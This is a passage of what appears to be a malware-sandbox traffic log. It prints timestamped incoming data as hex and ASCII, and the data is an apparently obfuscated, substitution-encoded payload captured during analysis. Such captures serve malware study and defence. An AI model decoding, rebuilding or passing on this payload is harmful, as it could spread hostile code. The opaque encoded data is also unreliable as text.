2021-10-29 18:30:03 UTC	2780	IN	Data Raw: 20 52 52 20 78 20 74 52 20 78 20 4f 4f 78 20 78 20 52 51 20 78 20 74 74 20 78 20 52 59 20 78 20 51 74 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 4f 52 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 51 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 Data Ascii: RR x tR x OOx x RQ x tt x RY x Qt x RY x RR x OOk x RY x tO x YR x RY x QQ x OOQ x RR x Oxk x RY x Rt x RY x RY x kO x OOQ x RR x OOk x RY x tO x OOQ x RY x Oxx x kO x RR x OOR x RY x Rt x kQ x RY x Qk x OxE x RR x Ooo x RY x RY x RY x RY x RY x RY x RR
2021-10-29 18:30:03 UTC	2785	IN	Data Raw: 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 4f 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 52 6b 20 78 20 4f 4f 4b 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 78 45 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 6b 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 51 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f Data Ascii: RY x RY x RY x RY x Oxk x RY x RY x RY x RY x RY x RY x RR x OOQ x RY x tO x RY x kx x YR x RY x Rt x kO x Rk x OOK x RY x Kt x Kt x Kt x OxE x OxE x RR x kY x RY x tO x OxE x RY x Qx x kO x RY x OxE x RY x tO x kQ x RY x Qk x OOQ x RR x OOY x RY x tO x O
2021-10-29 18:30:03 UTC	2789	IN	Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 6b 74 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 4b 20 78 20 52 59 20 78 20 74 51 20 78 20 59 52 20 78 20 52 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 6b 4f 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4b 6b 20 78 20 52 59 20 78 20 51 6b 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 78 4b Data Ascii: x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x Oxk x RY x to x RY x RR x OOQ x RY x kt x OOQ x RY x tK x RY x tQ x YR x Rk x RY x RY x Rk x Kt x Kt x Yo x tE x RY x kO x OOQ x RR x OOk x RY x tO x Kk x RY x Qk x kO x RR x OxK
2021-10-29 18:30:03 UTC	2793	IN	Data Raw: 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 74 20 78 20 52 52 20 78 20 6b 59 20 78 20 74 4f 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 6b 74 20 78 20 52 59 20 78 20 52 52 20 78 20 74 52 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 4b 45 20 78 20 4f 78 45 20 78 20 74 74 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 78 45 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 Data Ascii: RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x OxE x RY x Rt x RR x kY x tO x OxE x RR x kt x RY x RR x tR x RY x RY x OOQ x RY x KE x OxE x tt x RY x RY x kx x Kt x Kt x OxE x kO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x
2021-10-29 18:30:03 UTC	2797	IN	Data Raw: 59 20 78 20 51 78 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 74 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 51 78 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4b 51 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 51 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 51 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 74 20 78 20 52 59 20 78 20 74 45 20 Data Ascii: Y x Qx x OxE x RY x OxE x RY x to x kO x RY x Qt x RY x RR x Oxk x RY x Rt x RY x RY x Qx x OxE x RR x KQ x RY x tO x OOQ x RY x Qk x RY x RY x OxE x RY x to x RY x RY x kQ x kO x RR x Kk x RY x tO x OxE x RY x tE x RY x RR x OOo x RY x to x tt x RY x tE
2021-10-29 18:30:03 UTC	2801	IN	Data Raw: 20 4f 4f 52 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 4f 78 4b 20 78 20 6b 59 20 78 20 74 59 20 78 20 74 74 20 78 20 52 59 20 78 20 4f 6f 4f 20 78 20 6b 4f 20 78 20 52 74 20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 52 20 78 20 6b 51 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 Data Ascii: OOR x RY x tO x YR x RY x Qx x RY x RR x Oxk x RY x Rk x OOO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x OOQ x RY x OxK x kY x tY x tt x RY x OoO x kO x Rt x Kk x RY x tR x kQ x RY x RR x OOQ x kO x RY x RY
2021-10-29 18:30:03 UTC	2805	IN	Data Raw: 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 74 20 78 20 52 59 20 78 20 74 4f 20 78 20 4b 6b 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 4f 74 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4b 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 6f 20 78 20 52 59 20 78 20 51 78 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 Data Ascii: o x tE x RY x Qk x OOQ x RR x OOt x RY x tO x Kk x RY x Qx x kO x RR x OOt x RY x to x kO x RY x tE x RY x RR x kK x RY x to x kO x RY x QQ x OxE x RR x OOo x RY x tO x Yo x RY x Qx x OOQ x RR x Ooo x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x
2021-10-29 18:30:03 UTC	2809	IN	Data Raw: 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 78 52 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4b 20 78 20 6b 4f 20 78 20 52 52 20 78 20 6b 4b 20 78 20 52 59 20 78 20 52 74 Data Ascii: x RY x tO x YR x RY x Qk x OOQ x RR x Ooo x RY x tO x kY x RY x tE x RY x RR x kO x RY x to x tE x RY x Qk x OOQ x RR x OxR x RY x tO x kY x RY x QQ x OOQ x RR x Ooo x RY x RY x RY x RY x Rt x RY x Rt x kO x RY x kO x RY x RR x kK x kO x RR x kK x RY x Rt
2021-10-29 18:30:03 UTC	2812	IN	Data Raw: 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 78 6f 20 78 20 52 59 20 78 20 74 78 20 78 20 52 51 20 78 20 52 59 20 78 20 74 74 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 51 20 78 20 52 59 20 78 20 74 51 20 78 20 59 52 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 51 20 78 20 52 59 20 78 20 6b 45 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 Data Ascii: RY x RY x RY x RY x RY x Rt x Oxo x RY x tx x RQ x RY x tt x OxE x RY x tQ x RY x tQ x YR x Rk x Kt x Kt x KE x RY x RY x Rt x kQ x RY x kE x RY x RR x OOo x RY x tO x kO x RY x Qx x kO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RR x kY x RY x RY x RY
2021-10-29 18:30:03 UTC	2817	IN	Data Raw: 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 78 4b 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 51 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 59 45 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 4f 78 20 78 20 52 59 20 78 20 52 52 20 78 20 74 74 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 Data Ascii: k x RY x to x tE x RY x Qx x kO x RR x OxK x RY x to x kO x RY x Qx x kO x RR x Oxt x RY x Rt x RY x RY x kQ x OxE x RR x YE x RY x Rt x RY x RY x Oxx x kO x RR x Ooo x RY x tO x Oxt x RY x Qk x OxE x RR x OOx x RY x RR x tt x RY x kY x OOQ x RR x Oxk x R
2021-10-29 18:30:03 UTC	2821	IN	Data Raw: 52 52 20 78 20 59 4b 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 52 51 20 78 20 52 59 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 74 78 20 78 20 52 59 20 78 20 74 6f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 51 51 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 59 20 78 20 52 59 Data Ascii: RR x YK x RY x tO x kY x RY x Qx x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RR x RQ x RY x kO x kO x RR x Oxt x RY x tO x kO x RY x tE x RY x RR x tx x RY x to x OxE x RY x QQ x RY x RR x OOY x RY
2021-10-29 18:30:03 UTC	2825	IN	Data Raw: 52 59 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 74 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 78 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 78 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 78 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 52 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 59 20 78 20 52 59 20 78 20 Data Ascii: RY x Qk x OxE x RR x OOk x RY x to x kO x RY x Qt x RY x RR x Oxk x RY x to x tE x RY x tE x RY x RR x OOY x RY x tO x YR x RY x Qx x OOQ x RR x OOx x RY x tO x kY x RY x Qx x RY x RY x OOR x RY x tO x Oxt x RY x Qk x OxE x RY x OxE x RY x to x kY x RY x
2021-10-29 18:30:03 UTC	2829	IN	Data Raw: 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 59 4f 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 74 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 74 51 20 78 20 52 59 20 78 20 74 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 74 20 78 20 59 6f 20 78 20 52 59 20 78 20 74 74 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 78 20 78 20 74 74 20 78 20 52 59 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 51 20 78 20 52 59 20 78 20 74 78 20 78 20 52 52 20 78 20 52 52 20 78 20 52 6b 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 45 20 Data Ascii: x Qk x OOQ x RR x YO x RY x to x tt x RY x tE x RY x RR x tQ x RY x tx x kO x RY x tE x RY x RY x Kk x RY x Rt x Yo x RY x tt x RY x RY x OxE x RY x tx x tt x RY x kY x RY x RY x KQ x RY x tx x RR x RR x Rk x RY x RR x kk x RY x tO x Oxt x RY x Qk x OxE
2021-10-29 18:30:03 UTC	2833	IN	Data Raw: 51 51 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 51 20 78 20 59 6f 20 78 20 52 59 20 78 20 6b 51 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 4f 52 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 52 59 20 78 20 52 51 20 78 20 74 74 20 78 20 52 59 20 78 20 6b 45 20 78 20 74 4b 20 78 20 4f 4f Data Ascii: QQ x OxE x RY x OxE x RY x RQ x Yo x RY x kQ x kO x RR x OOR x RY x tO x kY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x tR x RY x RQ x tt x RY x kE x tK x OO
2021-10-29 18:30:03 UTC	2837	IN	Data Raw: 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4b 51 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 52 20 78 20 74 74 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 78 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 78 4b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 6b 4f 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 4f 20 78 20 6b 4f 20 78 20 52 52 20 Data Ascii: x RR x Oxk x RY x tO x kO x RY x kY x OxE x RR x KQ x RY x tO x Yo x RY x RY x RY x RR x OOO x RY x Rt x tE x RY x RY x kO x RR x tt x RY x tO x kY x RY x Qx x OOQ x RR x OxK x RY x tO x OOQ x RY x kO x OOQ x RR x OOk x RY x to x RY x RY x OxO x kO x RR
2021-10-29 18:30:03 UTC	2841	IN	Data Raw: 78 20 59 78 20 78 20 6b 52 20 78 20 4f 6f 6f 20 78 20 51 51 20 78 20 59 78 20 78 20 59 74 20 78 20 4f 6f 4f 20 78 20 6b 4f 20 78 20 6b 6b 20 78 20 74 4b 20 78 20 4f 78 52 20 78 20 51 74 20 78 20 74 4f 20 78 20 4f 78 6b 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 74 20 78 20 74 6b 20 78 20 4b 6b 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 6b 78 20 78 20 6b 45 20 78 20 74 4b 20 78 20 6b 51 20 78 20 74 51 20 78 20 52 6b 20 78 20 6b 51 20 78 20 4f 78 59 20 78 20 74 45 20 78 20 74 6f 20 78 20 52 52 20 78 20 4b 51 20 78 20 6b 51 20 78 20 4f 78 51 20 78 20 4f 6f 78 20 78 20 4f 4f 6f 20 78 20 6b 51 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 4f 78 6b 20 78 20 4f 78 4f 20 78 20 6b 52 20 78 20 6b 6f 20 78 20 4f 4f 6b 20 78 20 51 74 20 78 Data Ascii: x Yx x kR x Ooo x QQ x Yx x Yt x OoO x kO x kk x tK x OxR x Qt x tO x Oxk x Kk x Qx x kt x tk x Kk x Oxx x kk x tK x Oxk x kx x kE x tK x kQ x tQ x Rk x kQ x OxY x tE x to x RR x KQ x kQ x OxQ x Oox x OOo x kQ x Kk x OOR x Oxk x OxO x kR x ko x OOk x Qt x
2021-10-29 18:30:03 UTC	2844	IN	Data Raw: 51 78 20 78 20 4f 78 51 20 78 20 6b 59 20 78 20 59 6f 20 78 20 74 52 20 78 20 6b 74 20 78 20 74 45 20 78 20 59 45 20 78 20 6b 51 20 78 20 6b 4b 20 78 20 6b 59 20 78 20 4f 4f 52 20 78 20 74 6b 20 78 20 52 6b 20 78 20 4f 78 4b 20 78 20 4f 78 51 20 78 20 51 78 20 78 20 52 6b 20 78 20 6b 59 20 78 20 4f 4f 51 20 78 20 6b 51 20 78 20 6b 4b 20 78 20 52 51 20 78 20 4b 51 20 78 20 6b 51 20 78 20 6b 4b 20 78 20 4f 78 6b 20 78 20 4f 78 4b 20 78 20 4f 78 6f 20 78 20 6b 45 20 78 20 74 45 20 78 20 4b 45 20 78 20 6b 78 20 78 20 52 74 20 78 20 59 74 20 78 20 4f 6f 6f 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 4b 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 74 20 78 20 6b 6f 20 78 20 6b 78 20 78 20 6b 59 20 78 Data Ascii: Qx x OxQ x kY x Yo x tR x kt x tE x YE x kQ x kK x kY x OOR x tk x Rk x OxK x OxQ x Qx x Rk x kY x OOQ x kQ x kK x RQ x KQ x kQ x kK x Oxk x OxK x Oxo x kE x tE x KE x kx x Rt x Yt x Ooo x Oxx x kk x RR x OOQ x Qk x YO x tK x Kk x Qx x kt x ko x kx x kY x
2021-10-29 18:30:03 UTC	2849	IN	Data Raw: 78 20 52 51 20 78 20 74 78 20 78 20 52 51 20 78 20 6b 6f 20 78 20 52 51 20 78 20 4f 78 6b 20 78 20 74 51 20 78 20 6b 6f 20 78 20 4b 51 20 78 20 52 52 20 78 20 52 52 20 78 20 6b 6f 20 78 20 52 51 20 78 20 6b 6f 20 78 20 74 4b 20 78 20 6b 4b 20 78 20 4f 78 74 20 78 20 4f 78 78 20 78 20 6b 51 20 78 20 6b 74 20 78 20 74 78 20 78 20 52 52 20 78 20 52 52 20 78 20 6b 6f 20 78 20 52 51 20 78 20 6b 6f 20 78 20 74 4b 20 78 20 6b 4b 20 78 20 4f 78 74 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 6b 59 20 78 20 6b 6f 20 78 20 52 51 20 78 20 6b 45 20 78 20 6b 59 20 78 20 59 45 20 78 20 74 6f 20 78 20 6b 74 20 78 20 74 78 20 78 20 4f 78 4b 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 6b 59 20 78 20 6b 6f 20 78 20 52 51 20 78 20 6b 45 20 78 20 6b 59 20 78 20 59 45 Data Ascii: x RQ x tx x RQ x ko x RQ x Oxk x tQ x ko x KQ x RR x RR x ko x RQ x ko x tK x kK x Oxt x Oxx x kQ x kt x tx x RR x RR x ko x RQ x ko x tK x kK x Oxt x Oxx x kO x kO x kY x ko x RQ x kE x kY x YE x to x kt x tx x OxK x kO x kO x kY x ko x RQ x kE x kY x YE
2021-10-29 18:30:03 UTC	2853	IN	Data Raw: 59 20 78 20 4f 78 52 20 78 20 52 74 20 78 20 59 78 20 78 20 52 74 20 78 20 59 59 20 78 20 74 52 20 78 20 52 52 20 78 20 4b 51 20 78 20 6b 6f 20 78 20 52 74 20 78 20 4f 78 52 20 78 20 74 4f 20 78 20 59 4f 20 78 20 4f 78 51 20 78 20 74 6b 20 78 20 4f 78 51 20 78 20 4f 4f 51 20 78 20 4b 45 20 78 20 4f 4f 6f 20 78 20 4f 78 51 20 78 20 51 78 20 78 20 4b 51 20 78 20 74 52 20 78 20 4f 78 6b 20 78 20 74 6b 20 78 20 52 52 20 78 20 6b 59 20 78 20 6b 51 20 78 20 74 6f 20 78 20 51 51 20 78 20 4f 4f 6b 20 78 20 4b 6b 20 78 20 59 74 20 78 20 4f 78 51 20 78 20 4f 78 59 20 78 20 52 6b 20 78 20 4f 4f 6b 20 78 20 4f 78 78 20 78 20 4f 4f 74 20 78 20 59 4f 20 78 20 59 45 20 78 20 74 4b 20 78 20 4f 4f 4f 20 78 20 59 4b 20 78 20 6b 45 20 78 20 4f 4f 6f 20 78 20 4b 45 20 78 20 Data Ascii: Y x OxR x Rt x Yx x Rt x YY x tR x RR x KQ x ko x Rt x OxR x tO x YO x OxQ x tk x OxQ x OOQ x KE x OOo x OxQ x Qx x KQ x tR x Oxk x tk x RR x kY x kQ x to x QQ x OOk x Kk x Yt x OxQ x OxY x Rk x OOk x Oxx x OOt x YO x YE x tK x OOO x YK x kE x OOo x KE x
2021-10-29 18:30:03 UTC	2857	IN	Data Raw: 78 20 59 6f 20 78 20 74 4f 20 78 20 52 59 20 78 20 4b 51 20 78 20 6b 59 20 78 20 4f 78 78 20 78 20 52 51 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 6b 6b 20 78 20 74 74 20 78 20 52 52 20 78 20 6b 74 20 78 20 52 52 20 78 20 52 51 20 78 20 59 4f 20 78 20 74 6b 20 78 20 4b 51 20 78 20 51 51 20 78 20 74 6f 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 51 51 20 78 20 4f 4f 78 20 78 20 6b 6f 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 4f 6f 4f 20 78 20 51 51 20 78 20 59 78 20 78 20 59 74 20 78 20 4f 78 51 20 78 20 4f 78 78 20 78 20 52 74 20 78 20 59 45 20 78 20 4f 4f 74 20 78 20 51 78 20 78 20 6b 6b 20 78 20 6b 4f 20 78 20 4f 4f 51 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 74 4b 20 78 20 74 59 20 78 20 4f 4f 4f 20 78 20 51 78 Data Ascii: x Yo x tO x RY x KQ x kY x Oxx x RQ x kO x kO x kk x tt x RR x kt x RR x RQ x YO x tk x KQ x QQ x to x RR x OOk x QQ x OOx x ko x RY x Qk x OxQ x Oxk x OoO x QQ x Yx x Yt x OxQ x Oxx x Rt x YE x OOt x Qx x kk x kO x OOQ x Rk x kO x kQ x tK x tY x OOO x Qx
